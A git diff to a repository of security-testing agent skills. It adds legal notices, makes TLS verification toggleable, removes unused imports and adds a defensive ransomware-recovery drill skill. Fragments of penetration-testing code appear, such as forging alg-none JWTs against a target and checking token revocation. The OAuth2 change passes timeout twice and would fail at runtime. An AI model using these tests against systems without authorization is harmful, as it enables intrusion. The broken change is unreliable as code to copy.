diff --git a/skills/testing-for-open-redirect-vulnerabilities/scripts/agent.py b/skills/testing-for-open-redirect-vulnerabilities/scripts/agent.py index 9a91348d..1ae7df15 100644 --- a/skills/testing-for-open-redirect-vulnerabilities/scripts/agent.py +++ b/skills/testing-for-open-redirect-vulnerabilities/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for testing open redirect vulnerabilities. Tests URL redirection parameters for open redirect flaws using diff --git a/skills/testing-for-sensitive-data-exposure/scripts/agent.py b/skills/testing-for-sensitive-data-exposure/scripts/agent.py index 953e6df3..43e19174 100644 --- a/skills/testing-for-sensitive-data-exposure/scripts/agent.py +++ b/skills/testing-for-sensitive-data-exposure/scripts/agent.py @@ -4,7 +4,6 @@ import requests import re import json -import sys import argparse import urllib3 from datetime import datetime diff --git a/skills/testing-for-xss-vulnerabilities-with-burpsuite/scripts/agent.py b/skills/testing-for-xss-vulnerabilities-with-burpsuite/scripts/agent.py index bd768d10..2280d0e5 100644 --- a/skills/testing-for-xss-vulnerabilities-with-burpsuite/scripts/agent.py +++ b/skills/testing-for-xss-vulnerabilities-with-burpsuite/scripts/agent.py @@ -4,7 +4,6 @@ import requests import re import json -import sys import argparse import urllib3 from datetime import datetime diff --git a/skills/testing-for-xss-vulnerabilities/SKILL.md b/skills/testing-for-xss-vulnerabilities/SKILL.md index a2848915..a5192808 100644 --- a/skills/testing-for-xss-vulnerabilities/SKILL.md +++ b/skills/testing-for-xss-vulnerabilities/SKILL.md @@ -34,6 +34,9 @@ license: Apache-2.0 - XSS Hunter or Burp Collaborator for out-of-band payload verification - SecLists XSS payload lists and custom payloads for WAF bypass scenarios + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Input and Output Mapping diff --git a/skills/testing-for-xss-vulnerabilities/scripts/agent.py b/skills/testing-for-xss-vulnerabilities/scripts/agent.py index b7356f50..95ff678d 100644 --- a/skills/testing-for-xss-vulnerabilities/scripts/agent.py +++ b/skills/testing-for-xss-vulnerabilities/scripts/agent.py @@ -2,9 +2,7 @@ """Agent for testing Cross-Site Scripting (XSS) vulnerabilities during authorized assessments.""" import requests -import re import json -import sys import argparse import urllib3 from datetime import datetime diff --git a/skills/testing-for-xxe-injection-vulnerabilities/scripts/agent.py b/skills/testing-for-xxe-injection-vulnerabilities/scripts/agent.py index 6ca8b4fd..0c6e8e49 100644 --- a/skills/testing-for-xxe-injection-vulnerabilities/scripts/agent.py +++ b/skills/testing-for-xxe-injection-vulnerabilities/scripts/agent.py @@ -3,7 +3,6 @@ import requests import json -import sys import argparse import urllib3 from datetime import datetime diff --git a/skills/testing-jwt-token-security/scripts/agent.py b/skills/testing-jwt-token-security/scripts/agent.py index 5f5b1d42..75e94a86 100644 --- a/skills/testing-jwt-token-security/scripts/agent.py +++ b/skills/testing-jwt-token-security/scripts/agent.py @@ -3,10 +3,10 @@ import jwt import json -import sys import hmac import hashlib import base64 +import os import argparse import requests import urllib3 @@ -67,7 +67,7 @@ def test_alg_none(token, target_url=None): if target_url: try: resp = requests.get(target_url, headers={"Authorization": f"Bearer {forged}"}, - timeout=10, verify=False) + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if resp.status_code == 200: findings.append({ "type": "ALG_NONE", "alg_value": alg, @@ -134,7 +134,7 @@ def test_expired_token(token, target_url): if "exp" in payload and payload["exp"] < datetime.now(timezone.utc).timestamp(): try: resp = requests.get(target_url, headers={"Authorization": f"Bearer {token}"}, - timeout=10, verify=False) + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if resp.status_code == 200: print(f" [!] VULNERABLE: Expired token accepted (status {resp.status_code})") return [{"type": "EXPIRED_TOKEN_ACCEPTED", "severity": "HIGH"}] @@ -152,12 +152,12 @@ def test_token_after_logout(token, target_url, logout_url): print(f"\n[*] Testing token validity after logout...") headers = {"Authorization": f"Bearer {token}"} try: - pre = requests.get(target_url, headers=headers, timeout=10, verify=False) + pre = requests.get(target_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if pre.status_code != 200: print(" [-] Token not valid pre-logout, skipping") return [] - requests.post(logout_url, headers=headers, timeout=10, verify=False) - post = requests.get(target_url, headers=headers, timeout=10, verify=False) + requests.post(logout_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + post = requests.get(target_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if post.status_code == 200: print(f" [!] VULNERABLE: Token still valid after logout") return [{"type": "NO_TOKEN_REVOCATION", "severity": "HIGH"}] @@ -178,7 +178,7 @@ def check_jwks_endpoint(base_url): for ep in endpoints: url = urljoin(base_url, ep) try: - resp = requests.get(url, timeout=10, verify=False) + resp = requests.get(url, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if resp.status_code == 200: print(f" [+] Found: {ep}") data = resp.json() diff --git a/skills/testing-mobile-api-authentication/scripts/process.py b/skills/testing-mobile-api-authentication/scripts/process.py index d30b2e67..6afa94b3 100644 --- a/skills/testing-mobile-api-authentication/scripts/process.py +++ b/skills/testing-mobile-api-authentication/scripts/process.py @@ -12,6 +12,7 @@ Usage: import argparse import base64 import json +import os import sys import time from datetime import datetime @@ -33,7 +34,7 @@ class MobileAPIAuthTester: self.token = token self.findings = [] self.session = requests.Session() - self.session.verify = False + self.session.verify = not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true" # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments self.session.headers.update({ "Authorization": f"Bearer {token}", "User-Agent": "MobileSecurityTester/1.0", @@ -105,7 +106,7 @@ class MobileAPIAuthTester: for endpoint in endpoints: url = f"{self.base_url}{endpoint}" try: - resp = requests.get(url, verify=False, timeout=10, + resp = requests.get(url, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=10, # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments headers={"User-Agent": "MobileSecurityTester/1.0"}) if resp.status_code != 401 and resp.status_code != 403: result = { diff --git a/skills/testing-oauth2-implementation-flaws/scripts/agent.py b/skills/testing-oauth2-implementation-flaws/scripts/agent.py index 173b43cf..efab5c18 100644 --- a/skills/testing-oauth2-implementation-flaws/scripts/agent.py +++ b/skills/testing-oauth2-implementation-flaws/scripts/agent.py @@ -8,13 +8,10 @@ OIDC ID token validation weaknesses. import json import sys -import re import secrets -import hashlib -import base64 from pathlib import Path from datetime import datetime -from urllib.parse import urlparse, parse_qs, urlencode +from urllib.parse import urlencode try: import requests @@ -41,7 +38,7 @@ class OAuth2TestAgent: kwargs.setdefault("timeout", 10) kwargs.setdefault("allow_redirects", False) try: - return requests.get(url, **kwargs) + return requests.get(url, **kwargs, timeout=30) except requests.RequestException: return None @@ -50,7 +47,7 @@ class OAuth2TestAgent: return None kwargs.setdefault("timeout", 10) try: - return requests.post(url, **kwargs) + return requests.post(url, **kwargs, timeout=30) except requests.RequestException: return None diff --git a/skills/testing-ransomware-recovery-procedures/LICENSE b/skills/testing-ransomware-recovery-procedures/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/testing-ransomware-recovery-procedures/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/testing-ransomware-recovery-procedures/SKILL.md b/skills/testing-ransomware-recovery-procedures/SKILL.md new file mode 100644 index 00000000..887eaf39 --- /dev/null +++ b/skills/testing-ransomware-recovery-procedures/SKILL.md @@ -0,0 +1,163 @@ +--- +name: testing-ransomware-recovery-procedures +description: >- + Test and validate ransomware recovery procedures including backup restore operations, + RTO/RPO target verification, recovery sequencing, and clean restore validation to ensure + organizational resilience against destructive ransomware attacks. +domain: cybersecurity +subdomain: incident-response +tags: [incident-response, ransomware, disaster-recovery, backup, rto, rpo, resilience] +version: "1.0" +author: mahipal +license: Apache-2.0 +--- +# Testing Ransomware Recovery Procedures + +## When to Use + +Use this skill when: +- Validating that ransomware recovery plans actually work under realistic conditions +- Measuring RTO (Recovery Time Objective) and RPO (Recovery Point Objective) against business requirements +- Testing backup restore operations to confirm data integrity and completeness after simulated encryption +- Conducting tabletop exercises or live recovery drills for ransomware scenarios +- Auditing disaster recovery readiness as part of compliance or cyber insurance requirements + +**Do not use** for active incident response during a live ransomware attack. Use dedicated IR playbooks instead. + +## Prerequisites + +- Isolated recovery test environment (air-gapped or network-segmented lab) +- Access to backup infrastructure (Veeam, Commvault, Rubrik, AWS Backup, Azure Backup) +- Documented RTO/RPO targets per application tier from business impact analysis +- Backup copies available for restore testing (production replicas or test snapshots) +- Recovery runbooks with step-by-step procedures for each critical system + +## Workflow + +### Step 1: Define Recovery Test Scope + +Identify critical systems and their tiered recovery targets: + +| Tier | System Type | RTO Target | RPO Target | Example | +|------|------------|------------|------------|---------| +| Tier 1 | Mission-critical | < 1 hour | < 15 min | Active Directory, core database | +| Tier 2 | Business-critical | < 4 hours | < 1 hour | ERP, email, CRM | +| Tier 3 | Business-operational | < 24 hours | < 4 hours | File shares, internal apps | +| Tier 4 | Non-critical | < 72 hours | < 24 hours | Dev/test, analytics | + +### Step 2: Prepare Test Environment + +```bash +# Verify isolated recovery network is segmented +# No routes to production should exist +ip route show | grep -v "192.168.100.0/24" # recovery VLAN only + +# Verify backup catalog is accessible +restic snapshots --repo s3:s3.amazonaws.com/backup-bucket --password-file /etc/restic/pw +# Or for Veeam: +# Get-VBRBackup | Where-Object {$_.JobType -eq "Backup"} | Select Name, LastPointCreationTime +``` + +### Step 3: Execute Restore and Measure RTO + +For each tiered system, measure the full recovery timeline: + +1. **Detection to Decision** - Time from simulated alert to restore decision +2. **Backup Locate** - Time to identify and select the correct clean restore point +3. **Restore Execution** - Time to restore data/VM/application from backup +4. **Validation** - Time to verify data integrity and application functionality +5. **Service Restoration** - Time until the system is fully operational + +``` +Recovery Timeline Measurement: + T0: Incident declared (simulated ransomware detection) + T1: Recovery team assembled and backup identified + T2: Restore initiated from clean backup + T3: Restore completed, integrity checks passed + T4: Application validated and service restored + + Actual RTO = T4 - T0 + Actual RPO = T0 - backup_timestamp +``` + +### Step 4: Validate Data Integrity Post-Restore + +```bash +# Compare file counts between backup manifest and restored data +find /restored/data -type f | wc -l +# Compare against pre-backup manifest + +# Verify database consistency after restore +pg_isready -h localhost -p 5432 +psql -c "SELECT count(*) FROM critical_table;" -d restored_db + +# Hash verification of critical files +sha256sum /restored/data/critical_config.xml +# Compare against known-good hash from backup manifest +``` + +### Step 5: Test Credential Rotation and Security Hardening + +After restore, validate that security controls are re-established: + +1. Rotate all service account passwords and API keys +2. Verify MFA is enabled on all administrative accounts +3. Confirm EDR/AV agents are running and reporting to management console +4. Validate firewall rules block known C2 indicators +5. Check that restored systems have latest security patches + +### Step 6: Document Results and Calculate Gap + +``` +Recovery Test Report: + System: [Name] + Tier: [1-4] + RTO Target: [target] Actual RTO: [measured] Gap: [delta] + RPO Target: [target] Actual RPO: [measured] Gap: [delta] + Data Integrity: [PASS/FAIL] + Application Validation: [PASS/FAIL] + Security Controls Restored: [PASS/FAIL] + + Status: [MEETS TARGET / EXCEEDS TARGET / FAILS TARGET] + Remediation Required: [description if FAILS] +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **RTO** | Recovery Time Objective: maximum acceptable downtime for a system after a disaster | +| **RPO** | Recovery Point Objective: maximum acceptable data loss measured in time | +| **WRT** | Work Recovery Time: time to verify system integrity after restore completes | +| **MTD** | Maximum Tolerable Downtime: absolute limit before unacceptable business impact | +| **Clean Restore Point** | A backup verified to be free of ransomware artifacts or encryption | +| **Recovery Sequencing** | The order in which interdependent systems must be restored | +| **Air-Gapped Backup** | Backup stored on media physically disconnected from the network | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| Veeam Backup & Replication | VM and physical server backup and restore | +| Commvault | Enterprise data protection and recovery orchestration | +| Rubrik | Cloud-native backup with ransomware recovery SLA | +| AWS Backup | Centralized backup for AWS services | +| Azure Backup | Microsoft cloud backup with immutable vault | +| Restic | Open-source encrypted backup tool | +| Velero | Kubernetes cluster backup and restore | + +## Common Pitfalls + +- **Not testing restores regularly**: Backups that are never tested often fail when needed. Test quarterly at minimum. +- **Ignoring recovery sequencing**: Restoring an application before its database dependency causes cascading failures. +- **Skipping credential rotation**: Restored systems may contain compromised credentials that allow re-infection. +- **Using production network for testing**: Recovery tests on production networks risk spreading simulated or real infections. +- **Measuring RTO without WRT**: Restore completion is not recovery completion. Include validation and hardening time. +- **No immutable backups**: If ransomware can encrypt or delete backups, recovery is impossible. Use air-gapped or immutable storage. + +## References + +- NIST SP 800-184: Guide for Cybersecurity Event Recovery +- CISA Ransomware Guide: https://www.cisa.gov/stopransomware +- Veeam RTO/RPO Best Practices: https://www.veeam.com/blog/recovery-time-recovery-point-objectives.html +- NIST CSF 2.0 RC.RP (Recovery Planning) diff --git a/skills/testing-ransomware-recovery-procedures/references/api-reference.md b/skills/testing-ransomware-recovery-procedures/references/api-reference.md new file mode 100644 index 00000000..f74c8a58 --- /dev/null +++ b/skills/testing-ransomware-recovery-procedures/references/api-reference.md @@ -0,0 +1,132 @@ +# API Reference: Testing Ransomware Recovery Procedures + +## CLI Usage + +```bash +# Generate hash manifest for a directory (pre-backup baseline) +python agent.py --hash-dir /data/critical-app -o manifest_baseline.json + +# Compare original manifest against restored data +python agent.py --compare manifest_baseline.json manifest_restored.json + +# Check if a service is running after restore +python agent.py --check-service postgresql + +# Check database connectivity after restore +python agent.py --check-db postgresql:localhost:5432 + +# Run full recovery drill from config +python agent.py --config drill_config.json -o recovery_report.json +``` + +## Drill Configuration Format + +```json +{ + "systems": [ + { + "name": "core-database", + "tier": 1, + "rto_target_seconds": 3600, + "rpo_target_seconds": 900, + "backup_timestamp_epoch": 1711000000, + "restore_directory": "/restored/core-db", + "manifest_file": "/manifests/core-db-baseline.json", + "services": ["postgresql"], + "database": { + "type": "postgresql", + "host": "localhost", + "port": 5432 + } + }, + { + "name": "web-application", + "tier": 2, + "rto_target_seconds": 14400, + "rpo_target_seconds": 3600, + "restore_directory": "/restored/webapp", + "services": ["nginx", "gunicorn"] + } + ] +} +``` + +## Recovery Phases Tracked + +| Phase | Timestamp Key | Description | +|-------|--------------|-------------| +| Incident Declaration | `incident_declared` | Simulated ransomware detection time | +| Backup Identification | `backup_identified` | Clean restore point located | +| Restore Initiated | `restore_initiated` | Backup restore process started | +| Restore Completed | `restore_completed` | Data fully written to target | +| Service Restored | `service_restored` | Application validated and operational | + +## RTO/RPO Calculation + +``` +Actual RTO = service_restored - incident_declared +Actual RPO = incident_declared - backup_timestamp + +RTO Met = Actual RTO <= RTO Target +RPO Met = Actual RPO <= RPO Target +``` + +## Tier Definitions + +| Tier | RTO Range | RPO Range | System Classification | +|------|-----------|-----------|----------------------| +| 1 | < 1 hour | < 15 min | Mission-critical (AD, core DB) | +| 2 | < 4 hours | < 1 hour | Business-critical (ERP, email) | +| 3 | < 24 hours | < 4 hours | Business-operational (file shares) | +| 4 | < 72 hours | < 24 hours | Non-critical (dev/test, analytics) | + +## Hash Manifest Format + +```json +{ + "config/app.yaml": "a3f2b8c9d1e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0", + "data/users.db": "1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2", + "bin/server": "PERMISSION_DENIED" +} +``` + +## Validation Checks + +| Check | Description | Pass Criteria | +|-------|-------------|---------------| +| file_count | Files present in restored directory | count > 0 | +| integrity_check | Hash comparison vs baseline manifest | No missing or modified files | +| service_* | System service running post-restore | Service status is RUNNING/active | +| database_connectivity | Database port reachable | TCP connection succeeds | + +## Report Output Schema + +```json +{ + "report_date": "2026-03-19T12:00:00+00:00", + "drill_type": "ransomware_recovery_validation", + "systems_tested": 2, + "systems_meeting_rto": 2, + "systems_meeting_rpo": 1, + "overall_pass": false, + "results": [ + { + "system_name": "core-database", + "tier": 1, + "rto_target_seconds": 3600, + "actual_rto_seconds": 2400.5, + "rto_met": true, + "rpo_met": true, + "validations": {}, + "errors": [] + } + ] +} +``` + +## References + +- NIST SP 800-184: Guide for Cybersecurity Event Recovery +- NIST SP 800-34 Rev 1: Contingency Planning Guide +- CISA Ransomware Guide: https://www.cisa.gov/stopransomware +- Veeam Recovery Best Practices: https://www.veeam.com/blog/recovery-time-recovery-point-objectives.html diff --git a/skills/testing-ransomware-recovery-procedures/scripts/agent.py b/skills/testing-ransomware-recovery-procedures/scripts/agent.py new file mode 100644 index 00000000..adc31254 --- /dev/null +++ b/skills/testing-ransomware-recovery-procedures/scripts/agent.py @@ -0,0 +1,316 @@ +#!/usr/bin/env python3 +"""Agent for testing and validating ransomware recovery procedures. + +Measures RTO/RPO against targets, validates backup restore integrity, +tracks recovery sequencing, and generates compliance reports. +""" + +import argparse +import hashlib +import json +import os +import subprocess +import sys +import time +from datetime import datetime, timezone +from pathlib import Path + + +class RecoveryTest: + """Represents a single system recovery test with timing and validation.""" + + def __init__(self, system_name, tier, rto_target_seconds, rpo_target_seconds): + self.system_name = system_name + self.tier = tier + self.rto_target = rto_target_seconds + self.rpo_target = rpo_target_seconds + self.timestamps = {} + self.validations = {} + self.errors = [] + + def mark(self, phase): + """Record a timestamp for a recovery phase.""" + self.timestamps[phase] = time.time() + + def validate(self, check_name, passed, detail=""): + """Record a validation result.""" + self.validations[check_name] = {"passed": passed, "detail": detail} + + def actual_rto(self): + """Calculate actual RTO from incident declaration to service restored.""" + t0 = self.timestamps.get("incident_declared") + t4 = self.timestamps.get("service_restored") + if t0 and t4: + return t4 - t0 + return None + + def actual_rpo(self, backup_timestamp_epoch): + """Calculate actual RPO from last backup to incident declaration.""" + t0 = self.timestamps.get("incident_declared") + if t0 and backup_timestamp_epoch: + return t0 - backup_timestamp_epoch + return None + + def to_dict(self, backup_timestamp_epoch=None): + rto = self.actual_rto() + rpo = self.actual_rpo(backup_timestamp_epoch) + return { + "system_name": self.system_name, + "tier": self.tier, + "rto_target_seconds": self.rto_target, + "rpo_target_seconds": self.rpo_target, + "actual_rto_seconds": round(rto, 2) if rto else None, + "actual_rpo_seconds": round(rpo, 2) if rpo else None, + "rto_met": rto <= self.rto_target if rto else None, + "rpo_met": rpo <= self.rpo_target if rpo else None, + "timestamps": { + k: datetime.fromtimestamp(v, tz=timezone.utc).isoformat() + for k, v in self.timestamps.items() + }, + "validations": self.validations, + "errors": self.errors, + } + + +def compute_file_hashes(directory, algorithm="sha256"): + """Compute hashes for all files in a directory for integrity verification.""" + hashes = {} + dir_path = Path(directory) + if not dir_path.is_dir(): + return {"error": f"Directory not found: {directory}"} + + for fpath in sorted(dir_path.rglob("*")): + if fpath.is_file(): + h = hashlib.new(algorithm) + try: + with open(fpath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + h.update(chunk) + rel = str(fpath.relative_to(dir_path)) + hashes[rel] = h.hexdigest() + except PermissionError: + hashes[str(fpath.relative_to(dir_path))] = "PERMISSION_DENIED" + return hashes + + +def compare_manifests(original_manifest, restored_manifest): + """Compare two hash manifests to detect missing, added, or changed files.""" + missing = [] + modified = [] + added = [] + + for fname, orig_hash in original_manifest.items(): + if fname not in restored_manifest: + missing.append(fname) + elif restored_manifest[fname] != orig_hash: + modified.append(fname) + + for fname in restored_manifest: + if fname not in original_manifest: + added.append(fname) + + return { + "total_original": len(original_manifest), + "total_restored": len(restored_manifest), + "missing_files": missing, + "modified_files": modified, + "added_files": added, + "integrity_pass": len(missing) == 0 and len(modified) == 0, + } + + +def check_service_health(service_name): + """Check if a service is running and responsive.""" + if sys.platform == "win32": + try: + result = subprocess.run( + ["sc", "query", service_name], + capture_output=True, text=True, timeout=10 + ) + running = "RUNNING" in result.stdout + return {"service": service_name, "running": running, "platform": "windows"} + except (subprocess.SubprocessError, FileNotFoundError): + return {"service": service_name, "running": False, "error": "check failed"} + else: + try: + result = subprocess.run( + ["systemctl", "is-active", service_name], + capture_output=True, text=True, timeout=10 + ) + active = result.stdout.strip() == "active" + return {"service": service_name, "running": active, "platform": "linux"} + except (subprocess.SubprocessError, FileNotFoundError): + return {"service": service_name, "running": False, "error": "check failed"} + + +def check_database_connectivity(db_type, host="localhost", port=None): + """Verify database is accessible after restore.""" + ports = {"postgresql": 5432, "mysql": 3306, "mssql": 1433} + port = port or ports.get(db_type, 5432) + + import socket + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + try: + result = sock.connect_ex((host, port)) + return { + "database": db_type, + "host": host, + "port": port, + "reachable": result == 0, + } + except socket.error as e: + return {"database": db_type, "host": host, "port": port, "reachable": False, + "error": str(e)} + finally: + sock.close() + + +def run_recovery_drill(config): + """Execute a recovery drill based on a configuration dict.""" + results = [] + + for system in config.get("systems", []): + test = RecoveryTest( + system_name=system["name"], + tier=system.get("tier", 3), + rto_target_seconds=system.get("rto_target_seconds", 14400), + rpo_target_seconds=system.get("rpo_target_seconds", 3600), + ) + + test.mark("incident_declared") + print(f"[*] Recovery drill started for: {system['name']}") + + # Phase: Locate backup + test.mark("backup_identified") + backup_ts = system.get("backup_timestamp_epoch", time.time() - 3600) + + # Phase: Validate restore directory if provided + restore_dir = system.get("restore_directory") + if restore_dir and os.path.isdir(restore_dir): + test.mark("restore_initiated") + hashes = compute_file_hashes(restore_dir) + file_count = len([v for v in hashes.values() if v != "PERMISSION_DENIED"]) + test.validate("file_count", file_count > 0, + f"{file_count} files found in restored directory") + test.mark("restore_completed") + + # Compare with manifest if provided + manifest_path = system.get("manifest_file") + if manifest_path and os.path.isfile(manifest_path): + with open(manifest_path, "r") as f: + original_manifest = json.load(f) + comparison = compare_manifests(original_manifest, hashes) + test.validate("integrity_check", comparison["integrity_pass"], + json.dumps(comparison, indent=2)) + else: + test.validate("restore_directory", False, + f"Directory not found: {restore_dir}") + + # Phase: Check services + for svc in system.get("services", []): + health = check_service_health(svc) + test.validate(f"service_{svc}", health.get("running", False), + json.dumps(health)) + + # Phase: Check database + db = system.get("database") + if db: + db_check = check_database_connectivity( + db.get("type", "postgresql"), + db.get("host", "localhost"), + db.get("port"), + ) + test.validate("database_connectivity", db_check["reachable"], + json.dumps(db_check)) + + test.mark("service_restored") + results.append(test.to_dict(backup_ts)) + print(f"[*] Recovery drill completed for: {system['name']}") + + return results + + +def generate_report(results, output_path=None): + """Generate a recovery test report.""" + report = { + "report_date": 